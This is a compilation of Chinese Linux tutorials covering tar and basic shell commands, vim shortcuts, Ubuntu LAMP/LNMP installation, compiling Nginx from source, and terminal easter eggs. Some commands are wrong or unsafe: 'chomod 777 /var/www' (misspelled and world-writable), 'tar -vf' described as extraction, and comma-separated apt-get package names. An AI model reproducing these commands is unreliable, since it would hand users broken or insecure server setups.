root@trigkit4:~# tar -jxvf abc.tar.bz2 (记住'j'代表了.tar.bz2)

root@trigkit4:~# tar -cvf archieve.tar.gz(.bz2) /path/to/folder/abc

    tar -cvf /tmp/etc.tar /etc <==仅打包，不压缩！
    tar -zcvf /tmp/etc.tar.gz /etc <==打包后，以 gzip 压缩
    参数：
    -c ：建立一个压缩文件的参数指令(create 的意思)；
    -x ：解开一个压缩文件的参数指令！
    -t ：查看 tarfile 里面的文件！
    特别注意，在参数的下达中， c/x/t 仅能存在一个！不可同时存在！
    因为不可能同时压缩与解压缩。
    -z ：是否同时具有 gzip 的属性？亦即是否需要用 gzip 压缩？
    -j ：是否同时具有 bzip2 的属性？亦即是否需要用 bzip2 压缩？
    -v ：压缩的过程中显示文件！这个常用，但不建议用在背景执行过程！
    -f ：使用档名，请留意，在 f 之后要立即接档名喔！不要再加参数！
    　　　例如使用『 tar -zcvfP tfile sfile』就是错误的写法，要写成
    　　　『 tar -zcvPf tfile sfile』才对喔！
    -p ：使用原文件的原来属性（属性不会依据使用者而变）
    -P ：可以使用绝对路径来压缩！
    -N ：比后面接的日期(yyyy/mm/dd)还要新的才会被打包进新建的文件中！
    --exclude FILE：在压缩的过程中，不要将 FILE 打包！



查找/编译


命令locate用以快速查找文件、文件夹  locate keyword
命令find用以高级查找文件、文件夹  find 查找位置 查找参数


在 Linux 系统安装每个源代码软件包的过程如下：

△ 配置（configure）

△ 编译（make）

△ 安装（make install）


查看linux的内核版本，系统信息，常用的有三种办法：

uname -a；   more /etc/issue;    cat /proc/version;



Apache命令


重新启动Apache
home/trigkit4/Downloads/apache/bin/apachectl restart

apahce启动命令：
/home/trigkit4/Downloads/apache/bin/apachectl start apaceh

apache停止命令
/home/trigkit4/Downloads/apache/bin/apachectl stop    



其他常用命令


pwd 显示工作路径 
ls 查看目录中的文件
ls -F 查看目录中的文件
“ls -l”命令以详情模式(long listing fashion)列出文件夹的内容。 
"ls -a"命令会列出文件夹里的所有内容，包括以"."开头的隐藏文件。
“history”命令就是历史记录。它显示了在终端中所执行过的所有命令的历史。 
“sudo”(super user do)命令允许授权用户执行超级用户或者其它用户的命令。
“mkdir”(Make directory)命令在命名路径下创建新的目录。
“touch”命令代表了将文件的访问和修改时间更新为当前时间。
“chmod”命令就是改变文件的模式位。
“chown”命令就是改变文件拥有者和所在用户组。
“cat”代表了连结（Concatenation），连接两个或者更多文本文件或者以标准输出形式打印文件的内容。 
“cal”（Calender），它用来显示当前月份或者未来或者过去任何年份中的月份。 
“date”命令使用标准的输出打印当前的日期和时间，也可以深入设置。 
cp命令：“copy”就是复制。它会从一个地方复制一个文件到另外一个地方。
“mv”命令将一个地方的文件移动到另外一个地方去。
grep命令：grep命令是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹 配的行打印出来。grep全称是Global Regular Expression Print，表示全局正则表达式版本

groupadd group_name 创建一个新用户组 
clear命令的功能是清除屏幕上的信息，它类似于DOS中的cls命令。
whoami:检查当前登录的用户名
cd：进入指定文件夹，使用方法： cd [ 目标路径 ]
Linux系统对大小写敏感。vi是一个命令行界面下的文本编辑工具，知名的还有emacs






vim常用命令


    vim命令模式常用命令：                                     
    在命令模式下按" : " 键即可进入ex模式，常用命令
    i ：在光标前插入文本                       ：w 保存当前修改             
    o :在当前行的下面插入新行                   ：q 退出
    dd ：删除整行                            ：x 保存并退出
    yy ：复制当前行                           ：！执行一个系统命令并显示结果
    n+yy ：复制n行                           ：set number 显示行号
    p ：粘贴
    u ：撤销上一操作
    r ：替换当前字符

/ ：查找关键字



另附：Ubuntu Linux 安装教程


第一步 安装Apache2
sudo apt-get install apache2

第二步 安装PHP模块
sudo apt-get install php5

第三步 安装Mysql
sudo apt-get install mysql-server
sudo apt-get install mysql-client

第四步 其他模块安装
sudo apt-get install libapache2-mod-php5
sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-mysql
sudo apt-get install php5-gd

第五步 测试Apache是否正常工作
打开浏览器，输入localhost，看看是否有It Works!网页展示。目录为/var/www

第六步 修改权限/var/www
sudo chomod 777 /var/www

第七步 安装phpmyadmin
sudo apt-get install phpmyadmin

第八步 测试phpmyadmin
sudo ln -s /usr/share/phpmyadmin /var/www
然后直接运行http://localhost/phpmyadmin，看有没有数据库管理软件出现。






 一步步搭建物联网系统——GNU/Linux 强大且Free

作者：phodal

来源： 一步步搭建物联网系统——GNU/Linux 强大且Free



                    
GNU/Linux 强大且Free





什么是Linux


Linux是一种自由和开放源码的类UNIX操作系统内核。目前存在着许多不同的Linux发行版，可安装在各种各样的电脑硬件设备，从手机、平板电脑、路由器和影音游戏控制台，到桌上型电脑，大型电脑和超级电脑。

Linux是一个领先的操作系统内核，世界上运算最快的10台超级电脑运行的都是基于Linux内核的操作系统。


Linux操作系统也是自由软件和开放源代码发展中最著名的例子。只要遵循GNU通用公共许可证,任何人和机构都可以自由地使用Linux的所有底层源代码，也可以自由地修改和再发布。严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU工程各种工具和数据库的操作系统（也被称为GNU/Linux）。通常情况下，Linux被打包成供桌上型电脑和服务器使用的Linux发行版本。一些流行的主流Linux发行版本，包括Debian（及其衍生版本Ubuntu），Fedora和openSUSE等。Linux得名于电脑业余爱好者Linus Torvalds。


而不是如百度百科所讲的~~Linux操作系统是UNIX操作系统的一种克隆系统。它诞生于1991年的 Linux桌面[1]10 月5日（这是第一次正式向外公布的时间）。以后借助于Internet网络，并通过全世界各地计算机爱好者的共同努力，已成为今天世界上使用最多的一种UNIX类操作系统，并且使用人数还在迅猛增长。~~


Linux只是个内核，而不是操作系统，所以在这我们再理解一下操作系统是由什么组成的。


操作系统


操作系统（英语：Operating

System，简称OS）是管理计算机硬件与软件资源的计算机程序，同时也是计算机系统的内核与基石。操作系统需要处理如管理与配置内存、决定系统资源供需的优先次序、控制输入与输出设备、操作网络与管理文件系统等基本事务。操作系统也提供一个让用户与系统交互的操作界面。

操作系统的型态非常多样，不同机器安装的操作系统可从简单到复杂，可从手机的嵌入式系统到超级计算机的大型操作系统。许多操作系统制造者对它涵盖范畴的定义也不尽一致，例如有些操作系统集成了图形用户界面(GUI)，而有些仅使用命令行界面(CLI)，而将GUI视为一种非必要的应用程序。


操作系统位于底层硬件与用户之间，是两者沟通的桥梁。用户可以通过操作系统的用户界面，输入命令。操作系统则对命令进行解释，驱动硬件设备，实现用户要求。以现代标准而言，一个标准PC的操作系统应该提供以下的功能：



	进程管理（Processing management）

	内存管理（Memory management）

	文件系统（File system）

	网络通信（Networking）

	安全机制（Security）

	用户界面（User interface）

	驱动程序（Device drivers）



而让我们来看一下两者之间的不同之处，这是一张linux的架构图我们可以发现内核只是位于底层。


Linux架构图





用户模式


应用程序（sh、vi、OpenOffice.org等）


复杂库（KDE、glib等）

简单库（opendbm、sin等）


C库（open、fopen、socket、exec、calloc等）


内核模式



	系统中断、调用、错误等软硬件消息

	内核（驱动程序、进程、网络、内存管理等）

	硬件（处理器、内存、各种设备）



我们可以发现，由linux内核+shell可以构成一个操作系统，而linux本身只是个内核，也就是图中的内核模式，负责控制系统的这些部分。也就是我们可以发现，Linux内核构成了一个操作系统除用户界面以外的部分，而shell就是这最后的用户界面。


而linux内核以外的部分就是由GNU计划构成的。


Shell





Shell是系统的用户界面，提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。


实际上Shell是一个命令解释器，它解释由用户输入的命令并且把它们送到内核。不仅如此，Shell有自己的编程语言用于对命令的编辑，它允许用户编写由shell命令组成的程序。Shell编程语言具有普通编程语言的很多特点，比如它也有循环结构和分支控制结构等，用这种编程语言编写的Shell程序与其他应用程序具有同样的效果


bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写：Bourne-Again SHell — 这是关于Bourne shell（sh）的一个双关语（Bourne again / born

again）。Bourne shell是一个早期的重要shell，由史蒂夫·伯恩在1978年前后编写，并同Version 7 Unix一起发布。bash则在1987年由布莱恩·福克斯创造。在1990年，Chet Ramey成为了主要的维护者。


shell将会是我们在GNU/linux中经常用到的经常有到的工具之一，用来操作计算机用的。在迁移到linux之前我们可以试用cygwin来进行模拟：


Cygwin是许多自由软件的集合，最初由Cygnus Solutions开发，用于各种版本的Microsoft Windows上，运行UNIX类系统。


GCC


GCC（GNU Compiler Collection，GNU编译器套装），是一套由GNU开发的编程语言编译器。它是一套以GPL及LGPL许可证所发行的自由软件，也是GNU计划的关键部分，亦是自由的类Unix及苹果电脑Mac OS X 操作系统的标准编译器。GCC（特别是其中的C语言编译器）也常被认为是跨平台编译器的事实标准。


GCC原名为GNU C语言编译器（GNU C Compiler），因为它原本只能处理C语言。GCC很快地扩展，变得可处理C++。之后也变得可处理Fortran、Pascal、Objective-C、Java、Ada，以及Go与其他语言。


c#include <stdio.h>
main()
{
  printf("Hello world\n");
}



bash~/temp/free> gcc hello.c -o hello
hello.c:2:1: warning: type specifier missing, defaults to 'int' [-Wimplicit-int]
main()
^~~~
1 warning generated.
~/temp/free> ./hello
Hello world



同shell一样，对于GNU/linux系统而言,GCC的作用也是无可取代的。当然如果只是一般用途的话，GCC对于一般用户可能没用，但是在些GNU/Linux系统上，我们可能就需要自己编译源码成二进制文件，而没有软件包，因而其重要性是不言而喻的。自然的如果我们自己动手编译GNU/Linux操作系统的话，我们会理解其的重要意义。有兴趣的同学可以试一下：Linux

From Scratch (LFS)。


启动引导程序


最后，当我们构成以上的那些之后，我们就需要一个引导程序，以便使系统启动，引导进内核。


启动程序（bootloader）于电脑或其他计算机应用上，是指引导操作系统启动的程序。启动程序启动方式与程序视应用机型种类。例如在普通PC上，引导程序通常分为两部分：第一阶段引导程序位于主引导记录，用于引导位于某个分区上的第二阶段引导程序，如NTLDR、GNU

GRUB等。


BIOS

开机完成后，bootloader就接手初始化硬件设备、创建存储器空间的映射，以便为操作系统内核准备好


正确的软硬件环境。


简单的bootloader的虚拟汇编码，如其后的八个指令:



	0: 将P暂存器的值设为8

	1: 检查纸带({paper tape)读取器，是否已经可以进行读取

	2: 如果还不能进行读取, 跳至1

	3: 从纸带读取器，读取一byte至累加器

	4: 如为带子结尾，跳至8

	5: 将暂存器的值，存储至P暂存器中的数值所指定的地址

	6: 增加P暂存器的值

	7: 跳至1



但是随着计算机操作系统越来越复杂，位于MBR的空间已经放不下引导操作系统的代码，于是就有了第二阶段的引导程序，而MBR中代码的功能也从直接引导操作系统变成了引导第二阶段的引导程序。


通常在一个GNU/Linux系统中选用GNUGRUB做为引导程序，例如Ubuntu就是用GRUB2。


GNU GRUB（简称“GRUB”）是一个来自GNU项目的启动引导程序。GRUB是多启动规范的实现，它允许用户可以在计算机内同时拥有多个操作系统，并在计算机启动时选择希望运行的操作系统。GRUB可用于选择操作系统分区上的不同内核，也可用于向这些内核传递启动参数。


GNU GRUB的前身为Grand Unified Bootloader。它主要用于类Unix系统；同大多Linux发行版一样，GNU系统也采用GNU GRUB作为它的启动器。Solaris从10 1/06版开始在x86系统上也采用GNU GRUB作为启动器。


以上也就构成了一个简单的操作系统。


从编译开始


我们以一次编译开始我们的Linux学习之旅。


开始之前



	如果你没有用过GNU/Linux，我想你需要在虚拟机上安装一个。

	一个主流的GNU/Linux发行版，如Ubuntu,CentOS,Debian,Mint,OpenSUSE,Fedora等等。

	学会如何打开shell(ps:bash,zsh,sh等等)。



或者你也可以在Windows上安装Cygwin。


编译Nginx


1.下载这个软件的源码包


bashwget http://nginx.org/download/nginx-1.7.4.tar.gz



wget是一个用于下载的软件，当然你也可以用软件，只是用wget似乎会比图形界面快哦。


2.解压软件包


bashtar -vf nginx-1.7.4.tar.gz



-vf的意思是Extract，也就是解压，而tar则是这个解压软件的名字。看上去似乎比WinRAR来得复制得多，但是你可以计时一下，从下载到解压完，和你用鼠标比哪个比较快。


3.到nginx目录下


这里需要分两部进行


1).列出所有文件


bashls -al

drwxr-xr-x   15 fdhuang  staff   510B Sep  2 13:44 nginx-1.7.4
-rw-r--r--    1 fdhuang  staff   798K Aug  5 21:55 nginx-1.7.4.tar.gz



2).到nginx-1.7.4目录


bashcd nginx-1.7.4 



4.配置nginx


一次简单的配置如下


bash./configure



当你熟练以后，你可能和我一样用下面的配置(注意:用下面的代码会出错。)


bash./configure --user=www --group=www --add-module=../ngx_pagespeed-1.8.3.4-beta --add-module=../ngx_cache_purge --prefix=/usr/local/nginx --with-pcre --with-http_spdy_module --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-mail --with-mail_ssl_module --with-ipv6



过程中可能会提示你其中出了多少错误，而这时你便可以很愉快地去用搜索引擎搜索他们。


5.make


这里就会用到GCC等等。


bashmake



6.运行


如果运行顺利的话，应该可以直接


bash./objs/nginx   



其他


1.如果没有wget,make,gcc等命令的时候可以用类似于下面的方法安装，


bashsudo apt-get install gcc,make,wget



2.正常情况下一个开源项目都会有一个README，会告诉你应该如何去做。


包管理


GNU/Linux最方便的东西莫过于包管理了。


引自OpenSUSE官网的说明及图片1






	Linux 发行版无非就是一堆软件包 (package) 形式的应用程序加上整体地管理这些应用程序的工具。通常这些 Linux 发行版，包括 openSUSE，都是由成千上万不同的软件包构成的。


	软件包: 软件包不止是一个文件，内含构成软件的所有文件，包括程序本身、共享库、开发包以及使用说明等。


	元数据 (metadata) 包含于软件包之中，包含软件正常运行所需要的一些信息。软件包安装之后，其元数据就存储于本地的软件包数据库之中，以用于软件包检索。


	依赖关系 (dependencies) 是软件包管理的一个重要方面。实际上每个软件包都会涉及到其他的软件包，软件包里程序的运行需要有一个可执行的环境（要求有其他的程序、库等），软件包依赖关系正是用来描述这种关系的。




Linux 下的软件包通常是以下三种格式：



	tgz - tar gzip 文件。这类文件是基本的压缩软件包，可以容纳软件包维护者认为有用的所有的东西。此格式除本身的压缩格式外，并没有有关软件包内容的标准。

	deb - 此格式的软件包常用于 Debian 系统，是标准的 Debian 软件包格式。

	rpm - 此格式由 Red Hat Linux 所创建，并经由 LSB 标准化，现已为众多 Linux 发行版所采用，是一个优秀的软件包格式。openSUSE 即是用此格式。更多信息可以参阅此处。




  所以这就需要能自动解决依赖关系的软件包管理器。软件包管理系统就是一个工具集，为系统提供一个统一的安装、升级、删除软件的方式。




Ubuntu LNMP


在余下的章节中，我们需要去部署，需要去使用Ubuntu。如果在Windows下可以使用LAMP，但是在这里我们只说Ubuntu。开始之前你需要安装好Ubuntu，无论是在虚拟机，还是在真机安装，或者是Docker。


Update软件包列表


apt-get是debian，ubuntu发行版的包管理工具。apt-get update可以确保我们的软件包列表是最新的，下面是一个简单的更新过程。


打开Terminal或者Konsole等等之类的终端控制台。


bashroot@70cdc7a176a5:/# sudo apt-get update
Ign http://archive.ubuntu.com trusty InRelease
Ign http://archive.ubuntu.com trusty-updates InRelease
Ign http://archive.ubuntu.com trusty-security InRelease
Ign http://archive.ubuntu.com trusty-proposed InRelease
Get:1 http://archive.ubuntu.com trusty Release.gpg [933 B]
Get:2 http://archive.ubuntu.com trusty-updates Release.gpg [933 B]
Get:3 http://archive.ubuntu.com trusty-security Release.gpg [933 B]
Get:4 http://archive.ubuntu.com trusty-proposed Release.gpg [933 B]
Get:5 http://archive.ubuntu.com trusty Release [58.5 kB]
Get:6 http://archive.ubuntu.com trusty-updates Release [62.0 kB]
Get:7 http://archive.ubuntu.com trusty-security Release [62.0 kB]
Get:8 http://archive.ubuntu.com trusty-proposed Release [209 kB]
Get:9 http://archive.ubuntu.com trusty/main Sources [1335 kB]
Get:10 http://archive.ubuntu.com trusty/restricted Sources [5335 B]
Get:11 http://archive.ubuntu.com trusty/universe Sources [7926 kB]
Get:12 http://archive.ubuntu.com trusty/main amd64 Packages [1743 kB]
Get:13 http://archive.ubuntu.com trusty/restricted amd64 Packages [16.0 kB]
Get:14 http://archive.ubuntu.com trusty/universe amd64 Packages [7589 kB]
64% [14 Packages 664 kB/7589 kB 9%]                          58.3 kB/s 1min 58s



更新完应该会显示:


bashFetched 20.5 MB in 5min 22s (63.6 kB/s)
Reading package lists... Done



安装MySQL


安装命令


bashsudo apt-get install mysql-server php5-mysql



过程:


bashroot@70cdc7a176a5:/# sudo apt-get install mysql-server php5-mysql
Reading package lists... 0%
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libaio1 libdbd-mysql-perl libdbi-perl libhtml-template-perl libmysqlclient18
  libterm-readkey-perl libwrap0 lsof mysql-client-5.5 mysql-client-core-5.5
  mysql-common mysql-server-5.5 mysql-server-core-5.5 php5-common php5-json
  psmisc tcpd
Suggested packages:
  libclone-perl libmldbm-perl libnet-daemon-perl libplrpc-perl
  libsql-statement-perl libipc-sharedcache-perl tinyca mailx php5-user-cache
The following NEW packages will be installed:
  libaio1 libdbd-mysql-perl libdbi-perl libhtml-template-perl libmysqlclient18
  libterm-readkey-perl libwrap0 lsof mysql-client-5.5 mysql-client-core-5.5
  mysql-common mysql-server mysql-server-5.5 mysql-server-core-5.5 php5-common
  php5-json php5-mysql psmisc tcpd
0 upgraded, 19 newly installed, 0 to remove and 12 not upgraded.
Need to get 9982 kB of archives.
After this operation, 99.1 MB of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu/ trusty/main libaio1 amd64 0.3.109-4 [6364 B]
Get:2 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-common all 5.5.40-0ubuntu0.14.04.1 [14.1 kB]
Get:3 http://archive.ubuntu.com/ubuntu/ trusty-updates/main libmysqlclient18 amd64 5.5.40-0ubuntu0.14.04.1 [598 kB]
Get:4 http://archive.ubuntu.com/ubuntu/ trusty/main libwrap0 amd64 7.6.q-25 [46.2 kB]
Get:5 http://archive.ubuntu.com/ubuntu/ trusty/main libdbi-perl amd64 1.630-1 [879 kB]
Get:6 http://archive.ubuntu.com/ubuntu/ trusty/main libdbd-mysql-perl amd64 4.025-1 [99.3 kB]
Get:7 http://archive.ubuntu.com/ubuntu/ trusty/main libterm-readkey-perl amd64 2.31-1 [27.4 kB]
Get:8 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-client-core-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [703 kB]
Get:9 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-client-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [1466 kB]
Get:10 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-server-core-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [3215 kB]
47% [10 mysql-server-core-5.5 850 kB/3215 kB 26%]             79.9 kB/s 1min 6s



在安装的过程中会要求你输入数据库密码。(默认为空)


安装Nginx


bashecho "deb http://ppa.launchpad.net/nginx/stable/ubuntu $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/nginx-stable.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
sudo apt-get update
sudo apt-get install nginx



启动Nginx Server


bashsudo service nginx start



安装PHP


sudo apt-get install php5-fpm


安装过程


bashroot@70cdc7a176a5:/# sudo apt-get install php5-fpm
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libsystemd-daemon0
Suggested packages:
  php-pear
The following NEW packages will be installed:
  libsystemd-daemon0 php5-fpm
0 upgraded, 2 newly installed, 0 to remove and 12 not upgraded.
Need to get 2201 kB of archives.
After this operation, 9326 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu/ trusty-proposed/main libsystemd-daemon0 amd64 204-5ubuntu20.8 [9608 B]
Get:2 http://archive.ubuntu.com/ubuntu/ trusty-updates/universe php5-fpm amd64 5.5.9+dfsg-1ubuntu4.5 [2191 kB]
Fetched 2201 kB in 1min 5s (33.6 kB/s)
Selecting previously unselected package libsystemd-daemon0:amd64.
(Reading database ... 13105 files and directories currently installed.)
Preparing to unpack .../libsystemd-daemon0_204-5ubuntu20.8_amd64.deb ...
Unpacking libsystemd-daemon0:amd64 (204-5ubuntu20.8) ...
Selecting previously unselected package php5-fpm.
Preparing to unpack .../php5-fpm_5.5.9+dfsg-1ubuntu4.5_amd64.deb ...
Unpacking php5-fpm (5.5.9+dfsg-1ubuntu4.5) ...
Processing triggers for ureadahead (0.100.0-16) ...
Setting up libsystemd-daemon0:amd64 (204-5ubuntu20.8) ...
Setting up php5-fpm (5.5.9+dfsg-1ubuntu4.5) ...

Creating config file /etc/php5/fpm/php.ini with new version
php5_invoke: Enable module pdo for fpm SAPI
php5_invoke: Enable module pdo_mysql for fpm SAPI
php5_invoke: Enable module opcache for fpm SAPI
php5_invoke: Enable module json for fpm SAPI
php5_invoke: Enable module mysql for fpm SAPI
php5_invoke: Enable module mysqli for fpm SAPI
invoke-rc.d: policy-rc.d denied execution of start.
Processing triggers for libc-bin (2.19-0ubuntu6.3) ...
Processing triggers for ureadahead (0.100.0-16) ...



在线查看:一步步搭建物联网系统


图灵-电子书版一步步搭建物联网系统
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 如何在 Ubuntu 上安装 LAMP

作者：王铁手
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关于 LAMP


LAMP 是指一组通常一起使用来运行动态网站或者服务器的自由软件名称首字母缩写：



	Linux，操作系统

	Apache，网页服务器

	MySQL，数据库管理系统（或者数据库服务器）

	PHP



下面是安装教程。


1. 安装 Apache


Apache 是一款免费的开源软件，世界上超过50%的服务器都运行着它。


安装 apache，只需要打开终端并键入以下命令：


sudo apt-get update
sudo apt-get install apache2



要检查 Apache 是否被安装，打开浏览器访问你服务器的 IP (例如 http://12.34.56.789)。页面应该显示一些文字，类似





1.1 如何查看服务器的 IP 地址


你可以执行下面的命令来查看服务器 IP 地址。


ifconfig eth0 | grep inet | awk '{ print $2 }'



2. 安装 MySQL


MySQL 是一款强大的数据库管理系统。


要安装 MySQL，在终端中键入这些命令：


sudo apt-get install mysql-server libapache2-mod-auth-mysql php5-mysql



安装过程中， MySQL 会询问是否设置 root 密码。如果你错过了也没关系，在安装后通过 MySQL shell 脚本可以轻松设置密码。


一旦装好 MySQL，我们应该通过下面的命令来激活：


sudo mysql_install_db



完成后运行 MySQL set up 脚本：


sudo /usr/bin/mysql_secure_installation



此处会询问你当前的 root 密码 ，输入你设置的密码，若没设则直接回车。


Enter current password for root (enter for none):

OK, successfully used password, moving on...



然后会提示你是否要更改 root 密码，然后进入下一步。


全部选择 yes 即可。最后，MySQL 会重载并应用新的更改。


By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] y
 ... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] y
... Success!

By default, MySQL comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] y
 ... Success!

Cleaning up...



完成后接下来可以安装 PHP 了。


3. 安装 PHP


PHP 是一款开源的 web 脚本语言，广泛应用与构建动态网页。


要安装 PHP，在终端键入下列命令：


sudo apt-get install php5 libapache2-mod-php5 php5-mcrypt



在你回答 2 次提示后，PHP 会自己安装好。


将 php 加入到目录索引也是很常见的需求：


sudo nano /etc/apache2/mods-enabled/dir.conf



在最前面增加 index.php 。看起来像这样：


<IfModule mod_dir.c>

    DirectoryIndex index.php index.html index.cgi index.pl index.php index.xhtml index.htm

</IfModule>



3.1 PHP Modules


PHP 有各种有用的库和模块可以添加到服务器上。 你可以查看所有可用的库。


apt-cache search php5-



终端会显示可能的模块列表。看起来像这样：


php5-cgi - server-side, HTML-embedded scripting language (CGI binary)
php5-cli - command-line interpreter for the php5 scripting language
php5-common - Common files for packages built from the php5 source
php5-curl - CURL module for php5
php5-dbg - Debug symbols for PHP5
php5-dev - Files for PHP5 module development
php5-gd - GD module for php5
php5-gmp - GMP module for php5
php5-ldap - LDAP module for php5
php5-mysql - MySQL module for php5
php5-odbc - ODBC module for php5
php5-pgsql - PostgreSQL module for php5
php5-pspell - pspell module for php5
php5-recode - recode module for php5
php5-snmp - SNMP module for php5
php5-sqlite - SQLite module for php5
php5-tidy - tidy module for php5
php5-xmlrpc - XML-RPC module for php5
php5-xsl - XSL module for php5
php5-adodb - Extension optimising the ADOdb database abstraction library
php5-auth-pam - A PHP5 extension for PAM authentication
[...]



你要装一个模块，键入：


sudo apt-get install _name of the module_



当然你也可以一次安装多个模块，在模块名之间直接加个空格就可以了。


祝贺你！你的LAMP 已经安装成功了！


4. 查看效果: 查看服务器上的 PHP


经过 LAMP 已经安装好，我们仍然可以通过创建一个php info 页面来在线查看所有的组件。


要实现该功能，首先创建新文件：


sudo nano /var/www/info.php



添加下面的代码：


<?php
phpinfo();
?>



然后保存并退出。


重启 apache 以让更改生效：


sudo service apache2 restart



访问 php info 页面 (确保将例子 IP 地址替换为你正确的哪个): http://12.34.56.789/info.php


页面看起来应该类似







更多精彩文章，欢迎访问 wtser.com
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这里有一些很酷的Linux终端彩蛋，其中的每一个看上去并没有实际用途，但很有趣。





只工作不玩耍……


当我们使用命令行工作时，Linux是功能和实用性最好的操作系统之一。想要执行一个特殊任务？可能一个程序或者脚本就可以帮你搞定。但就像一本书中说到的，只工作不玩耍聪明的孩子也会变傻。下边是我最喜欢的可以在终端做的没有实际用途的、傻傻的、恼人的、可笑的事情。


让终端成为一个有态度的人



	第一步）敲入sudo visudo


	第二步）在“Defaults”末尾（文件的前半部分）添加一行“Defaults insults”。

	第三步）保存文件。



“我刚才对电脑做了什么？”你可能这样问自己。一定是美妙的事情吧。现在，在sudo命令提示提示下输出错误的口令，你的电脑就会呼唤你的名字。我最喜欢的一句：“听好了，煎饼一样的脑子，我没有时间听你胡说八道了。”





apt-get moo





你看过这张截图？那就是运行apt-get moo（在基于Debian的系统）的结果。对，就是它了。不要对它抱太多幻想，你会失望的，我不骗你。但是这是Linux世界最被人熟知的彩蛋之一。所以我把它包含进来，并且放在前排，然后我也就不会收到5千封邮件，指责我把它遗漏了。


aptitude moo


更有趣的是将moo应用到aptitude上。敲入aptitude moo（在Ubuntu及其衍生版），你对moo可以做什么事情的看法会有所变化。你还还会知道更多事情，尝试重新输入这条命令，但这次添加一个-v参数。这还没有结束，试着添加更多v，一次添加一个，直到抓狂的aptitude给了你想要的东西。





Arch: 将吃豆人放入pacman


这里有一个只为Arch爱好者准备的彩蛋。Pacman包管理工具已经很棒了，但我们可以让它变得更棒。



	第一步）打开“/etc/pacman.conf”文件。

	第二步）在“# Misc options”部分，去掉“Color”前的“#”。

	第三步）添加“ILoveCandy”。



现在我们使用pacman安装新软件包时，进度条里会出现一个小吃豆人。真应该默认就这样的。





Cowsay!


aptitude moo的输出格式很漂亮，但我想你苦于不能自由自在地使用。输入cowsay，它会做到你想做的事情。你可以让牛说任何你喜欢的东西。而且不只可以用牛，还可以用Calvin、Beavis和Ghostbusters logo的ASCII的艺术，输入cowsay -l可以得到所有可用的参数。它是Linux世界的强大工具。像很多其他命令一样，你可以使用管道把其他程序的输出输送给它，比如fortune | cowsay，让这头牛变成哲学家。





变成3l33t h@x0r


nmap并不是我们平时经常使用的基本命令。但如果你想蹂躏nmap的话，比如像人一样看起来像l33t。在任何nmap命令后添加-oS（比如nmap -oS - google.com）。现在你的nmap已经处于标准叫法是“脚本玩具模式”的模式了。Angelina Jolie和Keanu Reeves会为此骄傲的。





获得所有的Discordian日期


如果你们曾经坐在一起思考，“嗨！我想使用无用但异想天开的方式来书写今天的日期……”试试运行ddate。结果类似于“Today is Setting Orange, the 72nd day of Discord in the YOLD 3181”，这会让你的服务树日志平添不少趣味。


注意：在技术层面，确实有一个Discordian Calendar，理论上被Discordianism追随者所使用。这意味着我可能得罪某些人。或者不会，我不确定。不管怎样，ddate是一个方便的工具。





我可以在任何地方看到颜色！


厌倦了老旧的文本？想向世界展示出自己的个性？使用lolcat。安装它，然后在任何地方使用。它可以接收任何文本，然后将其转换成美轮美奂的彩虹效果。可以使用fortune | lolcat体验。





蒸汽机车


在你的终端显示蒸汽机车的ASCII图形。如果你需要它，安装并运行sl命令。sl -l可以看到一个袖珍版本的。或者，如果你真想在上边花费更多时间，运行sl -h。这会显示一个完整的或者，还包括乘客车厢。





将任何文本逆序输出


将任何文本使用管道输送给rev命令，它就会将文本内容逆序输出。fortune | rev会给你好运。当然，这不意味着rev会将幸运（fortune）转换成不幸。





Matrix依然很酷，不是吗？


想让你的终端显示滚动的文字、l33t和Matrix电影中的坠落数码？cmatrix是你的朋友。你甚至可以用它输出不同的颜色，非常华丽。使用man cmatrix学习使用方法。或者使用更好的方法，“man cmatrix | lolcat”。这确实是你在Linux终端可以做的最没实际用途却又精彩的事情了。





以上就是全部内容了。




via: http://www.networkworld.com/article/2926630/linux/11-pointless-but-awe...


作者：Bryan Lunduke

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出
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原文：FastCGI+lighttpd开发之介绍和环境搭建

由于需要做一些简单的基于FastCGI的Web开发，开始学习和调研，本篇介绍CGI和FastCGI的概念以及基于FastCGI官方的devkit，以及lighttpd搭建起简单的开发环境，以作备忘。

为啥要搞这个?

